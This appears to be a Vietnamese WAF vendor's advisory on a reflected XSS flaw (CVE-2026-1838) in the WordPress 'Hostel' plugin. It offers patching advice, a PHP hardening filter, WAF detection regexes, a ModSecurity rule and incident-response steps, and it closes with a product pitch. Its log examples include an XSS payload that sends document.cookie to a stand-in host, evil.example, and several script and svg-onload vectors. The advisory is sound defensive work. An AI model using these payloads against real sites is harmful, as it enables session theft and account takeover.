Khẩn cấp: XSS phản chiếu trong Plugin ‘Hostel’ WordPress (≤ 1.1.6) — Những gì chủ sở hữu trang web cần làm ngay bây giờ

Được xuất bản vào: 2026-04-20
Bởi đội ngũ bảo mật WP‑Firewall

Thẻ: WordPress, Lỗ hổng, XSS, WAF, Phản ứng sự cố

Tóm tắt: Một lỗ hổng Cross‑Site Scripting (XSS) phản chiếu (CVE‑2026‑1838) đã được công bố trong plugin WordPress “Hostel” ảnh hưởng đến các phiên bản lên đến và bao gồm 1.1.6. Vấn đề đã được vá trong phiên bản 1.1.7. Lỗ hổng có thể bị khai thác mà không cần xác thực qua shortcode_id tham số và có điểm CVSS là 7.1. Bài viết này giải thích về rủi ro, cách mà kẻ tấn công có thể sử dụng nó, cách phát hiện việc khai thác, và các bước giảm thiểu thực tiễn, ưu tiên — bao gồm các quy tắc WAF được quản lý và một đoạn mã PHP tăng cường tạm thời mà bạn có thể áp dụng ngay lập tức.

Tại sao điều này quan trọng (phiên bản ngắn)

• Lỗ hổng: Cross‑Site Scripting (XSS) phản chiếu qua shortcode_id.
• Ảnh hưởng: Các phiên bản plugin Hostel ≤ 1.1.6.
• Đã được vá trong: 1.1.7 — cập nhật ngay lập tức.
• CVE: CVE‑2026‑1838 (CVSS 7.1).
• Quyền hạn yêu cầu: Không (không xác thực).
• Việc khai thác yêu cầu tương tác của người dùng (ví dụ: truy cập một URL được tạo hoặc nhấp vào một liên kết độc hại).
• Tác động: Đánh cắp phiên, tiêm nội dung, lừa đảo, spam SEO, chuyển hướng phần mềm độc hại, và khai thác thêm nếu kết hợp với các lỗi khác.

Là các nhà điều hành và bảo vệ trang WordPress, bạn phải coi XSS phản chiếu trong một plugin công khai là một rủi ro có xác suất cao, tác động lớn vì kẻ tấn công có thể biến nó thành vũ khí quy mô lớn bằng cách sử dụng kỹ thuật xã hội hoặc liên kết drive-by.

Lỗ hổng — tóm tắt kỹ thuật

XSS phản chiếu phát sinh khi một giá trị đầu vào do một khách truy cập cung cấp được đưa vào đầu ra HTML của một trang mà không được làm sạch hoặc thoát đúng cách. Trong trường hợp này, plugin chấp nhận một shortcode_id tham số được sử dụng để hiển thị nội dung (có thể thông qua một trình xử lý shortcode) nhưng không thoát hoặc lọc tham số đó trước khi xuất. Một kẻ tấn công tạo ra một URL hoặc một trang mà truyền vào một payload độc hại vào shortcode_id. Khi một nạn nhân tải URL đó hoặc theo liên kết độc hại, mã trong shortcode_id được thực thi trong trình duyệt của nạn nhân trong bối cảnh của trang web bị tổn thương.

Các thuộc tính chính:

• XSS phản chiếu — payload được phản chiếu ngay lập tức trong phản hồi.
• Không xác thực — không cần đăng nhập để kích hoạt lỗ hổng.
• Cần tương tác của người dùng — kẻ tấn công phải lừa ai đó (khách truy cập / quản trị viên / biên tập viên) mở liên kết độc hại hoặc truy cập vào một trang chứa nó.
• Hậu quả điển hình: đánh cắp cookie phiên (nếu trang web sử dụng cookie mà không có HttpOnly hoặc nếu kẻ tấn công chuyển sang đánh cắp cookie qua script), chiếm đoạt tài khoản thông qua các token bị lộ, sửa đổi nội dung, chuyển hướng vô hình và tính bền vững nếu kết hợp với XSS lưu trữ hoặc các phần có thể ghi khác.

Ví dụ khai thác (khái niệm)

Trình xử lý phía máy chủ chính xác sẽ khác nhau tùy theo cách triển khai, nhưng một ví dụ XSS phản chiếu tổng quát trông như sau:

1. Kẻ tấn công tạo ra URL này:
   • https://example.com/some-page/?shortcode_id=<script></script>
   • (URL encoded: shortcode_id=%3Cscript%3Ealert%28%27XSS%27%29%3C%2Fscript%3E)
2. Nạn nhân nhấp vào liên kết hoặc truy cập vào trang.
3. Plugin xuất giá trị của shortcode_id vào trang mà không thoát. Trình duyệt thực thi script đã tiêm trong nguồn gốc trang web, cho phép các hậu quả XSS điển hình.

Kẻ tấn công sẽ sử dụng các payload thực tế hơn so với <script></script> — ví dụ, tạo các iframe vô hình, lấy cắp cookie đến một máy chủ từ xa, hoặc tiêm một script thực hiện các cuộc gọi AJAX để thực hiện hành động thay mặt người dùng.

Các kịch bản tác động thực tế

• Đánh cắp cookie phiên hoặc token xác thực để chiếm đoạt tài khoản (đặc biệt nếu cookie không phải HttpOnly hoặc nếu kẻ tấn công có thể nâng cao quyền hạn).
• Lừa đảo: tiêm một lớp đăng nhập quản trị viên giả để thu thập thông tin xác thực.
• Thay đổi giao diện hoặc chèn spam SEO / script khai thác tiền điện tử.
• Tạo chuyển hướng đến các trang malware hoặc adware có thể dẫn đến việc triển khai malware trên thiết bị của khách truy cập.
• Trong các kịch bản đa trang hoặc quyền cao, kẻ tấn công có thể kích hoạt các hành động quản trị thông qua các yêu cầu giả mạo trong trình duyệt của nạn nhân.

Bởi vì điều này không xác thực và dễ dàng kích hoạt qua kỹ thuật xã hội, bề mặt tấn công rất rộng.

Các bước ngay lập tức bạn phải thực hiện (theo thứ tự)

1. Cập nhật plugin lên phiên bản 1.1.7 hoặc mới hơn (bản vá). Đây là cách sửa chữa hoàn chỉnh duy nhất. Nếu bạn có thể cập nhật ngay bây giờ, hãy làm ngay lập tức.
2. Nếu bạn không thể cập nhật ngay lập tức, hãy áp dụng biện pháp giảm thiểu khẩn cấp:
   • Tạm thời vô hiệu hóa shortcode hoặc plugin dễ bị tổn thương.
   • Áp dụng một bản vá ảo (quy tắc WAF) để chặn các mẫu XSS phổ biến trong shortcode_id.
3. Các bước tăng cường bảo mật mà bạn có thể áp dụng ngay bây giờ (ngay cả trước khi cập nhật plugin):
   • Thêm một bộ lọc thoát đầu ra xung quanh trình xử lý shortcode của plugin (xem đoạn mã PHP bên dưới).
   • Triển khai hoặc kích hoạt WAF và bật các quy tắc để chặn các vectơ XSS phản chiếu.
   • Thiết lập các tiêu đề bảo mật (Content-Security-Policy, X-Content-Type-Options, X-Frame-Options, Referrer-Policy).
   • Giới hạn tiếp xúc: giảm quyền truy cập, hạn chế các trang quản trị theo IP và chặn các yêu cầu đáng ngờ.
4. Giám sát nhật ký và quét để tìm các chỉ số bị xâm phạm (IoCs). Xem phần Phát hiện bên dưới.

Sửa lỗi PHP nhanh (áp dụng cho functions.php của chủ đề hoặc một plugin cụ thể cho trang nhỏ)

Đây là một thay đổi phòng thủ tạm thời để đảm bảo bất kỳ giá trị nào đến qua shortcode_id được làm sạch trước khi xuất ra. Nó không thay thế việc cập nhật plugin — hãy coi nó như một biện pháp tạm thời khẩn cấp.

Ghi chú: Tên shortcode chính xác trong plugin Hostel có thể khác nhau. Thay thế ‘hostel_shortcode’ bằng thẻ shortcode thực tế được sử dụng bởi plugin nếu biết.

// Quick temporary hardening for reflected 'shortcode_id' parameter.
// Add to your child theme's functions.php or a site-specific plugin.

add_filter('do_shortcode_tag', 'wpf_hardening_hostel_shortcode', 10, 3);
function wpf_hardening_hostel_shortcode($output, $tag, $attr) {
    // Only act on the plugin shortcode
    if ( strtolower($tag) !== 'hostel' ) {
        return $output;
    }

    // If shortcode_id exists in GET/POST/ATTR, sanitize it to neutralize scripts
    if ( isset($_GET['shortcode_id']) ) {
        $_GET['shortcode_id'] = wp_kses( wp_unslash( $_GET['shortcode_id'] ), array() );
    }

    if ( isset($_POST['shortcode_id']) ) {
        $_POST['shortcode_id'] = wp_kses( wp_unslash( $_POST['shortcode_id'] ), array() );
    }

    // If attribute is supplied to shortcode, sanitize it as well
    if ( isset($attr['shortcode_id']) ) {
        $attr['shortcode_id'] = sanitize_text_field( $attr['shortcode_id'] );
        // Rebuild output safely — prefer escaping on output rather than trusting plugin output
        // If plugin returns output in $output, make sure it's escaped
        $output = esc_html( $output );
    }

    return $output;
}

Đoạn mã này buộc phải làm sạch mạnh mẽ cho các giá trị đến. shortcode_id Nó có thể làm hỏng hành vi của plugin nếu plugin mong đợi HTML trong tham số đó; nó được dự định như một biện pháp khẩn cấp cho đến khi plugin có thể được cập nhật.

Chiến lược WAF / Bản vá ảo

Nếu bạn có một Tường lửa Ứng dụng Web (WAF) — được quản lý hoặc dựa trên plugin — bạn có thể triển khai vá ảo để chặn ngay lập tức các nỗ lực khai thác. Một WAF được điều chỉnh đúng cách sẽ ngăn chặn cuộc tấn công mà không cần sửa đổi mã plugin hoặc mất chức năng.

Các mẫu phát hiện và chặn được đề xuất (ý tưởng chung; điều chỉnh cẩn thận để tránh dương tính giả):

• Chặn các yêu cầu nơi shortcode_id chứa các thẻ script:
  • Mẫu: (?i)(%3C|<)\s*script\b
• Chặn các thuộc tính trình xử lý sự kiện inline được truyền trong tham số (onerror=, onload=):
  • Mẫu: (?i)on\w+\s*=
• Chặn các pseudo-URL javascript:
  • Mẫu: (?i)javascript\s*:
• Chặn VN: các payload SVG/XSS phổ biến như <svg onload=...:
  • Mẫu: (?i)(%3C|<)\s*svg[^>]*on\w+\s*=

Ví dụ quy tắc ModSecurity (khái niệm):

# Block reflected XSS attempts in shortcode_id parameter
SecRule ARGS:shortcode_id "@rx (?i)(%3C|<)\s*(script|svg|iframe|object|embed)\b" \
    "id:1001001,rev:1,phase:2,deny,log,msg:'Reflected XSS attempt in shortcode_id parameter'"

Biểu thức chính quy WAF tổng quát để chặn các payload đã mã hóa:

• Biểu thức chính quy: (?i)(%3C\s*script|<\s*script|%3Csvg|<svg|onerror=|onload=|javascript:)

Ghi chú:

• Tránh các quy tắc quá rộng có thể phá vỡ việc sử dụng hợp pháp của đầu vào HTML nếu trang web của bạn yêu cầu.
• Khi có thể, thực thi quy tắc chỉ cho các điểm cuối mà hiển thị shortcode của plugin.
• Chặn các yêu cầu chứa các payload đã mã hóa nghi ngờ (đã mã hóa URL 7. thường được sử dụng để vượt qua các bộ lọc ngây thơ).
• Ghi lại các yêu cầu bị chặn với tiêu đề và toàn bộ nội dung yêu cầu để điều tra sự cố.

Nếu bạn sử dụng dịch vụ tường lửa WP được quản lý (plugin hoặc do hosting cung cấp), hãy đảm bảo rằng các biện pháp bảo vệ bao gồm:

• Quy tắc nhắm mục tiêu cụ thể shortcode_id tham số.
• Chặn các thẻ script đã mã hóa và các trình xử lý sự kiện.
• Chữ ký WAF được điều chỉnh cho các hình thức payload XSS hiện đại (URI dữ liệu, giao thức giả JS, payload bị làm mờ).

Phát hiện: chỉ báo và nhật ký

Tìm kiếm:

• Các yêu cầu với các tham số chứa %3Cscript%3E, javascript:, <svg onload=, onerror=, vân vân.
• Chuỗi truy vấn bất thường trong nhật ký truy cập tham chiếu shortcode_id.
• Các POST bất thường đến các trang hiển thị shortcode.
• Nội dung mới hoặc không mong đợi trong các trang (liên kết ẩn, iframe vô hình, script được tiêm vào).
• Phản hồi 200 tăng cao đối với các payload độc hại (một kẻ tấn công sẽ kiểm tra cho đến khi payload được phản ánh và thực thi).

Nơi để kiểm tra:

• Nhật ký truy cập máy chủ web (Apache/Nginx).
• Nhật ký WAF (các yêu cầu bị chặn/cho phép).
• Nhật ký hoạt động CMS (các thay đổi gần đây đối với các trang/bài viết).
• Thay đổi hệ thống tệp (các tệp PHP mới, các mẫu đã sửa đổi).
• Nội dung cơ sở dữ liệu (các trường post_content chứa script hoặc iframe được tiêm vào).
• Phân tích cho các chuyển hướng ra ngoài bất thường hoặc giảm tương tác của người dùng.

Ví dụ về các mục nhật ký đáng ngờ:

GET /some-page/?shortcode_id=%3Cscript%3Efetch(%27https://evil.example/p%3Fc%3D%27+document.cookie)%3C%2Fscript%3E HTTP/1.1
POST /contact/ HTTP/1.1
  Host: example.com
  Content-Type: application/x-www-form-urlencoded
  body: name=…&shortcode_id=%3Csvg%20onload%3D...

Bất kỳ cú nhấp nào như vậy nên được coi là có khả năng độc hại và cần được điều tra.

Nếu bạn nghi ngờ mình bị khai thác — phản ứng sự cố ngay lập tức

1. Cô lập:
   • Đưa trang web vào chế độ bảo trì (hoặc tắt nó nếu nghiêm trọng).
   • Chặn các địa chỉ IP độc hại đã biết, hoặc tạm thời hạn chế quyền truy cập vào các trang quản trị theo IP.
2. Bảo quản bằng chứng:
   • Chụp nhanh nhật ký truy cập, nhật ký WAF, hệ thống tệp máy chủ và xuất cơ sở dữ liệu.
   • Tránh ghi đè lên nhật ký; sao chép chúng để phân tích.
3. Lau dọn:
   • Cập nhật plugin lên 1.1.7 (hoặc gỡ bỏ plugin) và cập nhật WordPress và tất cả các plugin/theme khác lên phiên bản mới nhất.
   • Chạy quét phần mềm độc hại toàn diện và kiểm tra tính toàn vẹn của tệp.
   • Tìm kiếm web shell, người dùng quản trị đã thêm, các tệp lõi đã sửa đổi và các tác vụ theo lịch đáng ngờ.
   • Khôi phục từ một bản sao lưu sạch nếu cần thiết.
4. Khôi phục và tăng cường:
   • Thay đổi tất cả mật khẩu quản trị viên và khóa API.
   • Đặt lại muối và bí mật WordPress (trong wp-config.php).
   • Thu hồi và cấp lại bất kỳ khóa nào bị xâm phạm.
   • Quét lại sau khi dọn dẹp và theo dõi để phát hiện tái nhiễm.
5. Sau sự cố:
   • Thực hiện phân tích nguyên nhân gốc: kẻ tấn công đã vào như thế nào, có phải XSS đã được lợi dụng để thực hiện các hành động tiếp theo không, có phải thông tin đăng nhập đã bị lừa đảo không?
   • Tài liệu và cải thiện sách hướng dẫn phản ứng sự cố.

Kiểm soát và khuyến nghị bảo mật lâu dài.

• Thực thi mô hình quyền hạn tối thiểu: giới hạn vai trò người dùng theo những gì mỗi người cần.
• Áp dụng xác thực đầu vào và thoát đầu ra trong toàn bộ mã mà bạn kiểm soát (sử dụng esc_html(), esc_attr(), wp_kses(), và các câu lệnh đã chuẩn bị cho các truy vấn DB).
• Sử dụng Chính sách Bảo mật Nội dung (CSP) để giảm thiểu tác động của các tập lệnh được chèn vào.
  • Một CSP nghiêm ngặt như default-src 'self'; script-src 'self' 'nonce-...'; giúp ích, nhưng yêu cầu triển khai cẩn thận.
• Bật cờ HttpOnly và Secure trên cookie; xem xét thuộc tính cookie SameSite để giảm thiểu rủi ro CSRF.
• Duy trì chính sách cập nhật plugin: áp dụng các bản vá bảo mật kịp thời và kiểm tra trong môi trường staging.
• Triển khai các biện pháp bảo vệ WAF với vá ảo để mua thời gian khi các bản vá bị trì hoãn.
• Lên lịch quét lỗ hổng thường xuyên, theo dõi tính toàn vẹn tệp và sao lưu.
• Sử dụng xác thực đa yếu tố (MFA) cho tất cả các tài khoản quản trị.

Các chữ ký và điều chỉnh WAF được khuyến nghị (các ví dụ thực tiễn).

Dưới đây là các ý tưởng chữ ký ví dụ mà bạn có thể triển khai trong tường lửa của mình hoặc đưa cho nhà cung cấp dịch vụ lưu trữ của bạn. Đây là minh họa và phải được điều chỉnh cho môi trường của bạn để tránh các kết quả dương tính giả.

1. Chặn các thẻ tập lệnh đã mã hóa trong bất kỳ tham số nào:
   • Biểu thức chính quy: (?i)(%3C|<)\s*script\b
   • Hành động: Chặn và ghi lại.
2. Các thuộc tính xử lý sự kiện chặn thường được sử dụng cho XSS:
   • Biểu thức chính quy: (?i)on[a-z]{2,12}\s*=
   • Hành động: Chặn chỉ trong chuỗi truy vấn và thân POST.
3. Chặn các giao thức giả javascript:
   • Biểu thức chính quy: (?i)javascript\s*:
4. Chặn các thuộc tính SVG/iframe nghi ngờ:
   • Biểu thức chính quy: (?i)(%3C|<)\s*(svg|iframe|object|embed|img)[^>]*on\w+\s*=
5. Thu hẹp quy tắc đến shortcode_id tham số:
   • Kiểm tra ARGS:shortcode_id cho các regex trên; chặn nếu khớp.
6. Giới hạn tốc độ / giảm tốc độ các yêu cầu nghi ngờ:
   • Nếu một IP kích hoạt nhiều lần cố gắng bị chặn, giảm tốc độ hoặc chặn IP đó.
7. Ghi lại toàn bộ yêu cầu thô cho bất kỳ sự kiện nào bị chặn để bạn có thể phân tích payloads.

Đảm bảo rằng các quy tắc của bạn được áp dụng trong giai đoạn 2 (xử lý thân yêu cầu) để kiểm tra các POST và chuỗi truy vấn lớn.

Chính sách bảo mật nội dung (CSP) — một gợi ý thực tiễn

Một CSP có thể giảm rủi ro ngay cả khi XSS xảy ra. Bắt đầu với một chính sách báo cáo và dần dần thực thi:

1. Chỉ báo cáo (giám sát):

   Chính sách bảo mật nội dung - Chỉ báo cáo: nguồn mặc định 'self'; nguồn script 'self'; uri-báo cáo https://example.com/csp-report-endpoint

2. Chuyển sang chính sách thực thi khi bạn đã giải quyết các script inline hợp lệ:

   Chính sách bảo mật nội dung: nguồn mặc định 'self'; nguồn script 'self' https://trusted-cdn.example; nguồn đối tượng 'none'; uri-cơ sở 'self'; tổ tiên khung 'none';

Nhớ rằng CSP có thể phá vỡ chức năng nếu trang web của bạn phụ thuộc vào các script inline. Sử dụng nonces hoặc hashes cho các script inline được phép nếu cần.

Tại sao việc vá ảo được quản lý lại quan trọng

Khi một plugin có lỗ hổng zero-day hoặc đã biết không thể được cập nhật ngay lập tức (ví dụ: do thử nghiệm staging/tương thích, hoặc thiếu hỗ trợ từ nhà cung cấp), vá ảo thông qua WAF bảo vệ trang web của bạn trong khi bạn hoàn tất việc khắc phục. Vá ảo không phải là sự thay thế cho việc cập nhật mã, nhưng nó là một giải pháp tạm thời hiệu quả:

• Chặn các nỗ lực khai thác ở rìa.
• Mua thời gian cho các bản cập nhật và thử nghiệm an toàn.
• Có thể được áp dụng tập trung trên nhiều trang nếu bạn quản lý nhiều cài đặt WordPress.

Nếu bạn quyết định sử dụng bảo vệ rìa, hãy chọn một giải pháp mà:

• Cho phép các quy tắc tùy chỉnh ở cấp tham số (để bạn có thể nhắm mục tiêu cụ thể shortcode_id).
• Hỗ trợ cả việc khớp tải trọng đã mã hóa và chưa mã hóa.
• Ghi lại các tải trọng bị chặn với ngữ cảnh yêu cầu/phản hồi đầy đủ để sử dụng điều tra.

Danh sách kiểm tra phản hồi đề xuất (ngắn)

• Cập nhật plugin Hostel lên 1.1.7.
• Nếu không khả dụng, hãy vô hiệu hóa plugin hoặc shortcode ngay lập tức.
• Triển khai quy tắc WAF chặn các mẫu script trong shortcode_id.
• Quét trang web để tìm các script và web shell đã được chèn.
• Thay đổi tất cả thông tin đăng nhập và bí mật.
• Áp dụng CSP và tiêu đề bảo mật.
• Giám sát nhật ký để tìm các IoCs và tải trọng bị chặn.
• Khôi phục từ bản sao lưu sạch nếu cần.

Ví dụ về Chỉ số Thỏa hiệp (IoCs)

• Các yêu cầu trong nhật ký máy chủ chứa shortcode_id=%3Cscript hoặc shortcode_id=<svg onload=
• Những thay đổi bất ngờ đối với post_content (trong cơ sở dữ liệu WP) bao gồm các phần đã được chèn 7. hoặc <iframe> thẻ
• Người dùng quản trị mới được tạo mà không có sự cho phép
• Các tác vụ đã lên lịch không xác định (cron jobs) trong cơ sở dữ liệu
• Kết nối mạng ra ngoài đến các miền nghi ngờ sau khi có báo cáo về các nỗ lực khai thác

Nếu bạn tìm thấy bất kỳ điều nào trong số này, hãy coi chúng là nghiêm trọng và làm theo các bước phản ứng sự cố ở trên.

Đăng ký gói miễn phí WP‑Firewall ngay hôm nay

Tiêu đề: Bảo vệ trang web của bạn ngay lập tức với WP‑Firewall (Gói miễn phí)

Nếu bạn đang quản lý một trang WordPress, đừng chờ đợi để thêm một lớp phòng thủ. Gói Cơ bản (Miễn phí) của WP‑Firewall cung cấp cho bạn sự bảo vệ cần thiết ngay lập tức: một tường lửa được quản lý, băng thông không giới hạn, WAF dựa trên quy tắc, quét phần mềm độc hại và giảm thiểu các rủi ro OWASP Top 10. Sự kết hợp đó là lý tưởng để trung hòa các nỗ lực XSS phản chiếu như mô tả ở trên trong khi bạn cập nhật hoặc thử nghiệm các thay đổi plugin.

Bắt đầu với gói miễn phí ngay bây giờ

Nâng cấp bất cứ lúc nào lên gói Standard hoặc Pro khi bạn cần dọn dẹp tự động, danh sách đen/trắng IP, vá lỗi ảo và báo cáo nâng cao.

Lời cuối từ các chuyên gia WP‑Firewall

Một XSS phản chiếu trong một plugin phổ biến là một ví dụ điển hình về lý do tại sao các lớp phòng thủ lại quan trọng. Vá lỗi nhanh chóng là cần thiết, nhưng an ninh thực sự đến từ việc kết hợp các bản cập nhật kịp thời với các biện pháp bảo vệ bên ngoài, giám sát và sẵn sàng ứng phó sự cố. Nếu bạn quản lý một hoặc nhiều trang WordPress, hãy coi sự cố này như một lời nhắc để xác minh danh sách plugin của bạn, tự động hóa cho các bản cập nhật và phạm vi WAF.

Nếu bạn cần trợ giúp trong việc triển khai đoạn mã tăng cường PHP khẩn cấp, điều chỉnh các quy tắc WAF cho shortcode_id, hoặc thực hiện quét pháp y sau sự cố, đội ngũ của chúng tôi sẵn sàng hỗ trợ. Bạn có thể bảo vệ các trang web của mình nhanh chóng với gói miễn phí WP‑Firewall và nâng cấp sau cho việc vá lỗi ảo tự động và hỗ trợ sự cố sâu hơn.

Hãy giữ an toàn và vá ngay lập tức.

— Nhóm bảo mật WP‑Firewall